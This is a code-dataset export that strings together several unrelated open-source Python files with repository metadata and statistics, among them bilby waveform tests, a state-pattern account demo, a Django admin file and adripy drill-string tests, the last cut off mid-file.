blha303/emmer

1435310b2b4e63844700cbe26746d5c7ee0008e0

[ "MIT" ]

null

emmer/__init__.py

blha303/emmer

1435310b2b4e63844700cbe26746d5c7ee0008e0

[ "MIT" ]

6

2015-03-29T21:19:17.000Z

2020-11-18T18:32:47.000Z

from emmer import Emmer

12

23

0.833333

4

24

5

0.75

0

0.166667

24

1

24

1

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

62080f83979b7cb245b1c964fa26ff140c7ecee7

142

py

Python

ZhiHu-Spider/database/__init__.py

xll-1994/ZhiHuSpider

f211cc24ad11ca632d0654812e17dd98088683cd

[ "MIT" ]

1

2022-01-07T05:01:32.000Z

ZhiHu-Spider/database/__init__.py

xll-1994/ZhiHuSpider

f211cc24ad11ca632d0654812e17dd98088683cd

[ "MIT" ]

3

2022-01-07T05:49:44.000Z

2022-01-17T07:31:16.000Z

ZhiHu-Spider/database/__init__.py

xll-1994/ZhiHuSpider

f211cc24ad11ca632d0654812e17dd98088683cd

[ "MIT" ]

1

2022-01-07T06:48:40.000Z

from database.redis_client import RedisClient from database.mysql_client import MysqlClient from database.mongodb_client import MongoDBClient

35.5

49

0.894366

18

142

6.888889

0.555556

0.290323

0

0.084507

142

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47.333333

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1

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true

0

1

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1

0

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null

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1

0

null

0

1

0

1

0

1

0

6

627278a337df155d09a82a342e3e80bc4bf6608f

14,867

py

Python

test/gw/source_test.py

deepchatterjeeligo/bilby

6532c63d0d970ad33478ae0b1c28d4c570b74047

[ "MIT" ]

null

test/gw/source_test.py

deepchatterjeeligo/bilby

6532c63d0d970ad33478ae0b1c28d4c570b74047

[ "MIT" ]

null

test/gw/source_test.py

deepchatterjeeligo/bilby

6532c63d0d970ad33478ae0b1c28d4c570b74047

[ "MIT" ]

null

import unittest import numpy as np from copy import copy import bilby import lal import lalsimulation class TestLalBBH(unittest.TestCase): def setUp(self): self.parameters = dict( mass_1=30.0, mass_2=30.0, luminosity_distance=400.0, a_1=0.4, tilt_1=0.2, phi_12=1.0, a_2=0.8, tilt_2=2.7, phi_jl=2.9, theta_jn=0.3, phase=0.0, ) self.waveform_kwargs = dict( waveform_approximant="IMRPhenomPv2", reference_frequency=50.0, minimum_frequency=20.0, catch_waveform_errors=True, ) self.frequency_array = bilby.core.utils.create_frequency_series(2048, 4) self.bad_parameters = copy(self.parameters) self.bad_parameters["mass_1"] = -30.0 def tearDown(self): del self.parameters del self.waveform_kwargs del self.frequency_array del self.bad_parameters def test_lal_bbh_works_runs_valid_parameters(self): self.parameters.update(self.waveform_kwargs) self.assertIsInstance( bilby.gw.source.lal_binary_black_hole( self.frequency_array, **self.parameters ), dict, ) def test_waveform_error_catching(self): self.bad_parameters.update(self.waveform_kwargs) self.assertIsNone( bilby.gw.source.lal_binary_black_hole( self.frequency_array, **self.bad_parameters ) ) def test_waveform_error_raising(self): raise_error_parameters = copy(self.bad_parameters) raise_error_parameters.update(self.waveform_kwargs) raise_error_parameters["catch_waveform_errors"] = False with self.assertRaises(Exception): bilby.gw.source.lal_binary_black_hole( self.frequency_array, **raise_error_parameters ) def test_lal_bbh_works_without_waveform_parameters(self): self.assertIsInstance( bilby.gw.source.lal_binary_black_hole( self.frequency_array, **self.parameters ), dict, ) # Removed due to issue with SimInspiralFD - see https://git.ligo.org/lscsoft/lalsuite/issues/153 # def test_lal_bbh_works_with_time_domain_approximant(self): # self.waveform_kwargs['waveform_approximant'] = 'SEOBNRv3' # self.parameters.update(self.waveform_kwargs) # self.assertIsInstance( # bilby.gw.source.lal_binary_black_hole( # self.frequency_array, **self.parameters), dict) def test_lal_bbh_xpprecession_version(self): self.parameters.update(self.waveform_kwargs) self.parameters["waveform_approximant"] = "IMRPhenomXP" # Test that we can modify the XP precession version out_v223 = bilby.gw.source.lal_binary_black_hole( self.frequency_array, PhenomXPrecVersion=223, **self.parameters ) out_v102 = bilby.gw.source.lal_binary_black_hole( self.frequency_array, PhenomXPrecVersion=102, **self.parameters ) self.assertFalse(np.all(out_v223["plus"] == out_v102["plus"])) class TestLalBNS(unittest.TestCase): def setUp(self): self.parameters = dict( mass_1=1.4, mass_2=1.4, luminosity_distance=400.0, a_1=0.4, a_2=0.3, tilt_1=0.2, tilt_2=1.7, phi_jl=0.2, phi_12=0.9, theta_jn=1.7, phase=0.0, lambda_1=100.0, lambda_2=100.0, ) self.waveform_kwargs = dict( waveform_approximant="IMRPhenomPv2_NRTidal", reference_frequency=50.0, minimum_frequency=20.0, ) self.frequency_array = bilby.core.utils.create_frequency_series(2048, 4) def tearDown(self): del self.parameters del self.waveform_kwargs del self.frequency_array def test_lal_bns_runs_with_valid_parameters(self): self.parameters.update(self.waveform_kwargs) self.assertIsInstance( bilby.gw.source.lal_binary_neutron_star( self.frequency_array, **self.parameters ), dict, ) def test_lal_bns_works_without_waveform_parameters(self): self.assertIsInstance( bilby.gw.source.lal_binary_neutron_star( self.frequency_array, **self.parameters ), dict, ) def test_fails_without_tidal_parameters(self): self.parameters.pop("lambda_1") self.parameters.pop("lambda_2") self.parameters.update(self.waveform_kwargs) with self.assertRaises(TypeError): bilby.gw.source.lal_binary_neutron_star( self.frequency_array, **self.parameters ) class TestEccentricLalBBH(unittest.TestCase): def setUp(self): self.parameters = dict( mass_1=30.0, mass_2=30.0, luminosity_distance=400.0, theta_jn=0.0, phase=0.0, eccentricity=0.1, ) self.waveform_kwargs = dict( waveform_approximant="EccentricFD", reference_frequency=10.0, minimum_frequency=10.0, ) self.frequency_array = bilby.core.utils.create_frequency_series(2048, 4) def tearDown(self): del self.parameters del self.waveform_kwargs del self.frequency_array def test_lal_ebbh_works_runs_valid_parameters(self): self.parameters.update(self.waveform_kwargs) self.assertIsInstance( bilby.gw.source.lal_eccentric_binary_black_hole_no_spins( self.frequency_array, **self.parameters ), dict, ) def test_lal_ebbh_works_without_waveform_parameters(self): self.assertIsInstance( bilby.gw.source.lal_eccentric_binary_black_hole_no_spins( self.frequency_array, **self.parameters ), dict, ) def test_fails_without_eccentricity(self): self.parameters.pop("eccentricity") self.parameters.update(self.waveform_kwargs) with self.assertRaises(TypeError): bilby.gw.source.lal_eccentric_binary_black_hole_no_spins( self.frequency_array, **self.parameters ) class TestROQBBH(unittest.TestCase): def setUp(self): roq_dir = "/roq_basis" fnodes_linear_file = "{}/fnodes_linear.npy".format(roq_dir) fnodes_linear = np.load(fnodes_linear_file).T fnodes_quadratic_file = "{}/fnodes_quadratic.npy".format(roq_dir) fnodes_quadratic = np.load(fnodes_quadratic_file).T self.parameters = dict( mass_1=30.0, mass_2=30.0, luminosity_distance=400.0, a_1=0.0, tilt_1=0.0, phi_12=0.0, a_2=0.0, tilt_2=0.0, phi_jl=0.0, theta_jn=0.0, phase=0.0, ) self.waveform_kwargs = dict( frequency_nodes_linear=fnodes_linear, frequency_nodes_quadratic=fnodes_quadratic, reference_frequency=50.0, minimum_frequency=20.0, approximant="IMRPhenomPv2", ) self.frequency_array = bilby.core.utils.create_frequency_series(2048, 4) def tearDown(self): del self.parameters del self.waveform_kwargs del self.frequency_array def test_roq_runs_valid_parameters(self): self.parameters.update(self.waveform_kwargs) self.assertIsInstance( bilby.gw.source.binary_black_hole_roq(self.frequency_array, **self.parameters), dict ) def test_roq_fails_without_frequency_nodes(self): self.parameters.update(self.waveform_kwargs) del self.parameters["frequency_nodes_linear"] del self.parameters["frequency_nodes_quadratic"] with self.assertRaises(KeyError): bilby.gw.source.binary_black_hole_roq(self.frequency_array, **self.parameters) class TestBBHfreqseq(unittest.TestCase): def setUp(self): self.parameters = dict( mass_1=30.0, mass_2=30.0, luminosity_distance=400.0, a_1=0.4, tilt_1=0., phi_12=0., a_2=0.8, tilt_2=0., phi_jl=0., theta_jn=0.3, phase=0.0 ) minimum_frequency = 20.0 self.frequency_array = bilby.core.utils.create_frequency_series(2048, 8) self.full_frequencies_to_sequence = self.frequency_array >= minimum_frequency self.waveform_kwargs = dict( waveform_approximant="IMRPhenomHM", reference_frequency=50.0, minimum_frequency=minimum_frequency, catch_waveform_errors=True, frequencies=self.frequency_array[self.full_frequencies_to_sequence] ) self.bad_parameters = copy(self.parameters) self.bad_parameters["mass_1"] = -30.0 def tearDown(self): del self.parameters del self.waveform_kwargs del self.frequency_array del self.bad_parameters def test_valid_parameters(self): self.parameters.update(self.waveform_kwargs) self.assertIsInstance( bilby.gw.source.binary_black_hole_frequency_sequence( self.frequency_array, **self.parameters ), dict ) def test_waveform_error_catching(self): self.bad_parameters.update(self.waveform_kwargs) self.assertIsNone( bilby.gw.source.binary_black_hole_frequency_sequence( self.frequency_array, **self.bad_parameters ) ) def test_waveform_error_raising(self): raise_error_parameters = copy(self.bad_parameters) raise_error_parameters.update(self.waveform_kwargs) raise_error_parameters["catch_waveform_errors"] = False with self.assertRaises(Exception): bilby.gw.source.binary_black_hole_frequency_sequence( self.frequency_array, **raise_error_parameters ) def test_match_LalBBH(self): self.parameters.update(self.waveform_kwargs) freqseq = bilby.gw.source.binary_black_hole_frequency_sequence( self.frequency_array, **self.parameters ) lalbbh = bilby.gw.source.lal_binary_black_hole( self.frequency_array, **self.parameters ) self.assertEqual(freqseq.keys(), lalbbh.keys()) for mode in freqseq: diff = np.sum(np.abs(freqseq[mode] - lalbbh[mode][self.full_frequencies_to_sequence])**2.) norm = np.sum(np.abs(freqseq[mode])**2.) self.assertLess(diff / norm, 1e-15) def test_match_LalBBH_specify_modes(self): parameters = copy(self.parameters) parameters.update(self.waveform_kwargs) parameters['mode_array'] = [[2, 2]] freqseq = bilby.gw.source.binary_black_hole_frequency_sequence( self.frequency_array, **parameters ) lalbbh = bilby.gw.source.lal_binary_black_hole( self.frequency_array, **parameters ) self.assertEqual(freqseq.keys(), lalbbh.keys()) for mode in freqseq: diff = np.sum(np.abs(freqseq[mode] - lalbbh[mode][self.full_frequencies_to_sequence])**2.) norm = np.sum(np.abs(freqseq[mode])**2.) self.assertLess(diff / norm, 1e-15) def test_match_LalBBH_nonGR(self): parameters = copy(self.parameters) parameters.update(self.waveform_kwargs) wf_dict = lal.CreateDict() lalsimulation.SimInspiralWaveformParamsInsertNonGRDChi0(wf_dict, 1.) parameters['lal_waveform_dictionary'] = wf_dict freqseq = bilby.gw.source.binary_black_hole_frequency_sequence( self.frequency_array, **parameters ) lalbbh = bilby.gw.source.lal_binary_black_hole( self.frequency_array, **parameters ) self.assertEqual(freqseq.keys(), lalbbh.keys()) for mode in freqseq: diff = np.sum(np.abs(freqseq[mode] - lalbbh[mode][self.full_frequencies_to_sequence])**2.) norm = np.sum(np.abs(freqseq[mode])**2.) self.assertLess(diff / norm, 1e-15) class TestBNSfreqseq(unittest.TestCase): def setUp(self): self.parameters = dict( mass_1=1.4, mass_2=1.4, luminosity_distance=400.0, a_1=0.4, a_2=0.3, tilt_1=0.2, tilt_2=1.7, phi_jl=0.2, phi_12=0.9, theta_jn=1.7, phase=0.0, lambda_1=1000.0, lambda_2=1000.0 ) minimum_frequency = 50.0 self.frequency_array = bilby.core.utils.create_frequency_series(2048, 16) self.full_frequencies_to_sequence = self.frequency_array >= minimum_frequency self.waveform_kwargs = dict( waveform_approximant="IMRPhenomPv2_NRTidal", reference_frequency=50.0, minimum_frequency=minimum_frequency, frequencies=self.frequency_array[self.full_frequencies_to_sequence] ) def tearDown(self): del self.parameters del self.waveform_kwargs del self.frequency_array def test_with_valid_parameters(self): self.parameters.update(self.waveform_kwargs) self.assertIsInstance( bilby.gw.source.binary_neutron_star_frequency_sequence( self.frequency_array, **self.parameters ), dict ) def test_fails_without_tidal_parameters(self): self.parameters.pop("lambda_1") self.parameters.pop("lambda_2") self.parameters.update(self.waveform_kwargs) with self.assertRaises(TypeError): bilby.gw.source.binary_neutron_star_frequency_sequence( self.frequency_array, **self.parameters ) def test_match_LalBNS(self): self.parameters.update(self.waveform_kwargs) freqseq = bilby.gw.source.binary_neutron_star_frequency_sequence( self.frequency_array, **self.parameters ) lalbns = bilby.gw.source.lal_binary_neutron_star( self.frequency_array, **self.parameters ) self.assertEqual(freqseq.keys(), lalbns.keys()) for mode in freqseq: diff = np.sum(np.abs(freqseq[mode] - lalbns[mode][self.full_frequencies_to_sequence])**2.) norm = np.sum(np.abs(freqseq[mode])**2.) self.assertLess(diff / norm, 1e-5) if __name__ == "__main__": unittest.main()

34.735981

102

0.620973

1,714

14,867

5.105601

0.108518

0.095989

0.090504

0.055308

0.846646

0.828591

0.82082

0.807793

0.768027

0.750771

0

0.031085

0.285935

14,867

427

103

34.81733

0.793237

0.030134

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0.657682

0

0.02526

0.009368

0

0.070081

1

0.091644

false

0

0.016173

0

0.123989

0

null

0

1

0

null

0

6

658d552b6c0f8fc9454744d828ec43d7a994e0c7

3,064

py

Python

state.py

UtkucanBykl/python-design-patterns

1dcc64a3a522d0314e4eb3bb82dc850c1556e585

[ "MIT" ]

null

state.py

UtkucanBykl/python-design-patterns

1dcc64a3a522d0314e4eb3bb82dc850c1556e585

[ "MIT" ]

3

2019-09-30T10:42:24.000Z

2019-10-09T12:31:22.000Z

state.py

UtkucanBykl/python-design-patterns

1dcc64a3a522d0314e4eb3bb82dc850c1556e585

[ "MIT" ]

3

2019-10-08T15:25:45.000Z

2019-10-08T16:07:09.000Z

class Account: def __init__(self): self._state = Silver(self) self.balance = 100 @property def state(self): return self._state @state.setter def state(self, value): self._state = value def get_balance(self): return self._state.credit() def set_money(self, money): self._state.set_money(money) def get_money(self, money): self._state.get_money(money) class Gold: def __init__(self, account): self._credit = 10 self._account = account @property def account(self): return self._account @account.setter def account(self, value): self._acount = value def credit(self): return self._credit + self.account.balance def get_money(self, money): self._account.balance = self._account.balance - money self.state_control() def set_money(self, money): self._account.balance = self._account.balance + money self.state_control() def state_control(self): if self._account.balance < 25: self._account.state = Bronz(self._account) elif self._account.balance < 100: self._account.state = Silver(self._account) class Silver: def __init__(self, account): self._credit = 5 self._account = account @property def account(self): return self._account @account.setter def account(self, value): self._account = value def credit(self): return self._credit + self.account.balance def get_money(self, money): self._account.balance = self._account.balance - money self.state_control() def set_money(self, money): self._account.balance = self._account.balance + money self.state_control() def state_control(self): if self._account.balance < 25: self._account.state = Bronz(self._account) elif self._account.balance >= 100: self._account.state =Gold(self._account) class Bronz: def __init__(self, account): self._credit = 1 self._account = account @property def account(self): return self._account @account.setter def account(self, value): self._acount = value def credit(self): return self._credit + self.account.balance def get_money(self, money): self._account.balance = self._account.balance - money self.state_control() def set_money(self, money): self._account.balance = self._account.balance + money self.state_control() def state_control(self): if self._account.balance > 100: self._account.state = Gold(self._account) elif self._account.balance >= 25: self._account.state =Silver(self._account) account = Account() account.get_money(90) print(account.state.__class__.__name__) # Bronz account.set_money(30) print(account.state.__class__.__name__) # Silver account.set_money(300) print(account.state.__class__.__name__) # Gold

24.512

61

0.637076

367

3,064

5.008174

0.087193

0.257345

0.205658

0.078346

0.826442

0.778564

0.686072

0.666485

0

0.012809

0.261097

3,064

124

62

24.709677

0.799028

0.005548

0

0.695652

0

1

0.293478

false

0

0.086957

0.423913

0.032609

0

null

1

0

1

0

1

0

null

0

1

0

6

6592e0a5a464cb88d3304ccbfc2c373c9c579fdb

195

py

Python

src/python/verst/pants/k8s/register.py

dimitrijepetrovic/pants-plugins

fdef365d81cbeb9256015b470706249bb9e487df

[ "MIT" ]

24

2017-04-10T01:29:44.000Z

2021-02-24T03:29:59.000Z

src/python/verst/pants/k8s/register.py

dimitrijepetrovic/pants-plugins

fdef365d81cbeb9256015b470706249bb9e487df

[ "MIT" ]

1

2017-11-21T19:41:45.000Z

src/python/verst/pants/k8s/register.py

dimitrijepetrovic/pants-plugins

fdef365d81cbeb9256015b470706249bb9e487df

[ "MIT" ]

7

2017-07-24T13:51:07.000Z

2021-02-23T15:16:26.000Z

from pants.goal.task_registrar import TaskRegistrar as task from .k8s_clone_namespace import K8SCloneNamespace def register_goals(): task(name='k8s-clone', action=K8SCloneNamespace).install()

32.5

60

0.825641

25

195

6.28

0.72

0.101911

0

0.022472

0.087179

195

5

61

39

0.859551

0

0.046154

0

1

0.25

true

0

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0.75

0

1

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null

0

1

0

null

0

1

0

1

0

1

0

6

65b06b090c69b1e7d61968c29bdffe54985ada13

681

py

Python

colorful.py

cxapython/hooker

cb63d0569017e3481002934793586a64b16651a3

[ "Apache-2.0" ]

5

2021-06-10T06:46:57.000Z

2022-02-28T02:27:03.000Z

colorful.py

z876335662/hooker

d0bec95c04aec415fb103c8ceeec4f1cf8112285

[ "Apache-2.0" ]

null

colorful.py

z876335662/hooker

d0bec95c04aec415fb103c8ceeec4f1cf8112285

[ "Apache-2.0" ]

2

2021-12-14T12:18:07.000Z

2022-02-13T08:57:16.000Z

''' Created on 2020年6月6日 @author: stephen ''' def withColor(string, fg, bg=49): print("\33[0m\33[%d;%dm%s\33[0m" % (fg, bg, string)) #front color Red = 1 Green = 2 Yellow = 3 Blue = 4 Magenta = 5 Cyan = 6 White = 7 def red(string): return withColor(string, Red+30) # Red def green(string): return withColor(string, Green+30) # Green def yellow(string): return withColor(string, Yellow+30) # Yellow def blue(string): return withColor(string, Blue+30) # Blue def magenta(string): return withColor(string, Magenta+30) # Magenta def cyan(string): return withColor(string, Cyan+30) # Cyan def white(string): return withColor(string, White+30) # White

21.967742

56

0.676946

102

681

4.519608

0.343137

0.260304

0.318872

0.409978

0

0.066308

0.180617

681

30

57

22.7

0.759857

0.133627

0

0.041739

0

1

0.347826

false

0

0.304348

0.652174

0.043478

0

null

1

0

null

0

1

0

1

0

6

65d7c775da8689873c9b30d870b242c319829844

213

py

Python

cursos/admin.py

santosgv/plataforma.cursos

5bbbfd65b9cbcfed9c7cf955c3d1866a1300c946

[ "MIT" ]

null

cursos/admin.py

santosgv/plataforma.cursos

5bbbfd65b9cbcfed9c7cf955c3d1866a1300c946

[ "MIT" ]

null

cursos/admin.py

santosgv/plataforma.cursos

5bbbfd65b9cbcfed9c7cf955c3d1866a1300c946

[ "MIT" ]

null

from django.contrib import admin from .models import Cursos, Aulas, Comentarios, NotasAulas admin.site.register(Aulas) admin.site.register(Cursos) admin.site.register(Comentarios) admin.site.register(NotasAulas)

26.625

58

0.826291

28

213

6.285714

0.428571

0.204545

0.386364

0

0.075117

213

8

59

26.625

0.893401

0

1

0

true

0

0.333333

0

0.333333

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

65e618ac964e73cb0c04f9e7807f43df0dc2d0f8

36,522

py

Python

test/test_drill_string.py

bthornton191/Adams_Modules

e5473c6dc194148353cefb9964ad2081e79741d7

[ "MIT" ]

5

2019-07-01T01:38:44.000Z

2020-05-18T00:56:41.000Z

test/test_drill_string.py

bthornton191/Adams_Modules

e5473c6dc194148353cefb9964ad2081e79741d7

[ "MIT" ]

4

2020-03-24T16:55:01.000Z

2021-03-20T00:44:18.000Z

test/test_drill_string.py

bthornton191/adamspy

e5473c6dc194148353cefb9964ad2081e79741d7

[ "MIT" ]

null

"""Tests related to the DrillString class """ import unittest import os import traceback from test import * from adamspy import adripy #pylint: disable=wrong-import-position class Test_DrillString(unittest.TestCase): """Tests the :obj:`DrillString` class. """ maxDiff = None def setUp(self): # Create a test config file containing the test database adripy.create_cfg_file(TEST_CONFIG_FILENAME, [TEST_DATABASE_PATH, TEST_NEW_DATABASE_PATH]) # Create a DrillTool object representing a stabilizer self.pdc_bit = adripy.DrillTool(TEST_PDC_FILE) # Create a DrillTool object representing a motor self.motor = adripy.DrillTool(TEST_MOTOR_FILE) # Create a DrillTool object representing a stabilizer self.stabilizer = adripy.DrillTool(TEST_STABILIZER_FILE) # Create a DrillTool object representing an mwd self.mwd = adripy.DrillTool(TEST_MWD_FILE) # Create a DrillTool object representing a stabilizer self.upper_stabilizer = adripy.DrillTool(TEST_STABILIZER_FILE) # Create a DrillTool object representing a collar self.collar = adripy.DrillTool(TEST_COLLAR_FILE) # Create a DrillTool object representing a drill pipe self.drill_pipe = adripy.DrillTool(TEST_DRILLPIPE_FILE) # Create a DrillTool object representing EUS self.eus = adripy.DrillTool(TEST_EUS_FILE) # Create a DrillTool object representing a top drive self.top_drive = adripy.DrillTool(TEST_TOP_DRIVE_FILE) def test_check_references_two_stabs(self): """Tests that `DrillString.check_for_references` returns two when checking for references to a stabilizer file in a string that has two references. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add tools to the drill string drill_string.add_tool(self.pdc_bit) drill_string.add_tool(self.motor) drill_string.add_tool(self.stabilizer) drill_string.add_tool(self.mwd) drill_string.add_tool(self.upper_stabilizer) # Check the number of references to the stabilizer file num_refs = drill_string.check_for_references(TEST_STABILIZER_FILE) self.assertEqual(num_refs, 2) def test_check_references_one_stabs(self): """Tests that `DrillString.check_for_references` returns one when checking for references to a stabilizer file in a string that has one reference """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add tools to the drill string drill_string.add_tool(self.pdc_bit) drill_string.add_tool(self.motor) drill_string.add_tool(self.stabilizer) drill_string.add_tool(self.mwd) # Check the number of references to the stabilizer file num_refs = drill_string.check_for_references(TEST_STABILIZER_FILE) self.assertEqual(num_refs, 1) def test_add_tool(self): """Test the `DrillString.add_tool()` method. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool object to the DrillString object drill_string.add_tool(self.stabilizer) # Define the first expected element in DrillString.tools expected_tool_dictionary = { 'DrillTool': self.stabilizer, 'Type': self.stabilizer.tool_type, 'Name': self.stabilizer.name, 'Property_File': self.stabilizer.property_file, 'Measure': 'no', 'Color': 'Default', 'Number_of_Joints': 1, 'Stack_Order': 1 } self.assertEqual(drill_string.tools, [expected_tool_dictionary]) def test_write_string_to_database_with_collar(self): """Tests if the string file is written correctly when the string has a collar in it. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.collar, measure='yes', joints=TEST_NUMBER_OF_COLLARS, group_name=TEST_COLLAR_GROUPNAME) drill_string.add_tool(self.drill_pipe, joints=TEST_NUMBER_OF_DRILLPIPES, group_name=TEST_DRILLPIPE_GROUPNAME) drill_string.add_tool(self.eus, joints=TEST_NUMBER_OF_EUSPIPES, group_name=TEST_EUS_GROUPNAME, equivalent=True) drill_string.add_tool(self.top_drive) # Write drill string to file drill_string.write_to_file(cdb=TEST_DATABASE_NAME) expected_string_filename = os.path.join(TEST_DATABASE_PATH, 'drill_strings.tbl', TEST_STRING_NAME + '.str') failures = check_file_contents(expected_string_filename, EXPECTED_STRING_WRITE_TEXT_COLLAR) self.assertListEqual(failures, []) def test_write_string_to_database(self): """Test the `DrillString.write_to_file()` method. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) # Write drill string to file drill_string.write_to_file(cdb=TEST_DATABASE_NAME) expected_string_filename = os.path.join(TEST_DATABASE_PATH, 'drill_strings.tbl', TEST_STRING_NAME + '.str') failures = check_file_contents(expected_string_filename, EXPECTED_STRING_WRITE_TEXT) self.assertListEqual(failures, []) def test_write_string_to_database_with_dfb(self): """Test the `DrillString.write_to_file()` method. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add DFBs to the drill string drill_string.parameters['Distance_from_Bit'] = [100, 200] # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) # Write drill string to file drill_string.write_to_file(cdb=TEST_DATABASE_NAME) expected_string_filename = os.path.join(TEST_DATABASE_PATH, 'drill_strings.tbl', TEST_STRING_NAME + '.str') failures = check_file_contents(expected_string_filename, EXPECTED_STRING_WRITE_TEXT_WITH_DFB) self.assertListEqual(failures, []) def test_publish_string_with_spaces_in_hole_path(self): """Tests if publish works when the hole path has spaces """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE_WITH_SPACES, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.collar, measure='yes', joints=TEST_NUMBER_OF_COLLARS, group_name=TEST_COLLAR_GROUPNAME) drill_string.add_tool(self.drill_pipe, joints=TEST_NUMBER_OF_DRILLPIPES, group_name=TEST_DRILLPIPE_GROUPNAME) drill_string.add_tool(self.eus, joints=TEST_NUMBER_OF_EUSPIPES, group_name=TEST_EUS_GROUPNAME, equivalent=True) drill_string.add_tool(self.top_drive) # Write drill string to file try: drill_string.write_to_file(cdb=TEST_NEW_DATABASE_NAME, publish=True) pass except FileNotFoundError: self.fail() def test_publish_string_to_new_database(self): """Test the `DrillString.write_to_file()` method with publish=True """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) # Publish drill string to new database drill_string.write_to_file(cdb=TEST_NEW_DATABASE_NAME, publish=True, publish_event=True) expected_string_filename = os.path.join(TEST_NEW_DATABASE_PATH, 'drill_strings.tbl', TEST_STRING_NAME + '.str') expected_text = EXPECTED_STRING_WRITE_TEXT.replace(TEST_DATABASE_NAME, TEST_NEW_DATABASE_NAME) failures = check_file_contents(expected_string_filename, expected_text) self.assertListEqual(failures, []) def test_publish_string_with_duplicate_tools_to_new_database_1(self): """Test the `DrillString.write_to_file()` method with publish=True when the string contains two of the same stabilizer. The criteria for this test is that only a single tool file is published to the database even though the tool is used twice. Notes ----- This test intentionally uses a string that uses the same tool twice. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.mwd, measure='yes') drill_string.add_tool(self.upper_stabilizer, measure='yes') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) # Publish drill string to new database drill_string.write_to_file(cdb=TEST_NEW_DATABASE_NAME, publish=True, publish_event=True) expected_files = [adripy.get_full_path(drill_string.tools[1]['Property_File'])] actual_files = glob.glob(os.path.join(TEST_NEW_DATABASE_PATH, 'stabilizers.tbl', '*')) self.assertListEqual(actual_files, expected_files) def test_publish_string_with_duplicate_tools_to_new_database_2(self): """Test the `DrillString.write_to_file()` method with `publish=True` when the string contains two of the same stabilizer. The criteria for this test is that the `DrillTool` that is used twice has the same property file and it is correct. Note ---- This test intentionally uses a string that uses the same tool twice. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.mwd, measure='yes') drill_string.add_tool(self.upper_stabilizer, measure='yes') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) # Publish drill string to new database drill_string.write_to_file(cdb=TEST_NEW_DATABASE_NAME, publish=True, publish_event=True) actual_files = [drill_string.tools[i]['Property_File'] for i in [1,3]] expected_files = [os.path.join(f'<{TEST_NEW_DATABASE_NAME}>', 'stabilizers.tbl', 'example_stabilizer.sta')]*2 self.assertListEqual(actual_files, expected_files) def test_read_string_from_file_with_spaces_in_hole_ref(self): """Tests that the parameters in the string are correct after a string is read from a file. """ # Read new parameters into the drill string object from a file string_file = os.path.join(f'<{TEST_DATABASE_NAME}>', 'drill_strings.tbl', TEST_EXISTING_STRING_NAME_WITH_SPACES_IN_HOLE_REF + '.str') drill_string_from_file = adripy.DrillString.read_from_file(string_file) # Remove some keys from the parameters dictionary hole_filename = drill_string_from_file.parameters['Hole_Property_File'] self.assertEqual(hole_filename, TEST_EXISTING_HOLE_FILE_WITH_SPACES) def test_read_string_from_file_parameters(self): """Tests that the parameters in the string are correct after a string is read from a file. """ expected_parameters = { 'Units': 'Imperial', 'ModelName': 'test_string', 'OutputName': 'test_string', 'Gravity': 32.187, 'Deviation_Deg': 0.0, 'Adams_Results': 'animation', 'Adams_Graphics': 'off', 'Adams_Requests': 'on', 'Distance_from_Bit': [100.0, 300.0, 500.0], 'SolverDLL': 'adrill_solver', 'Hole_Property_File': 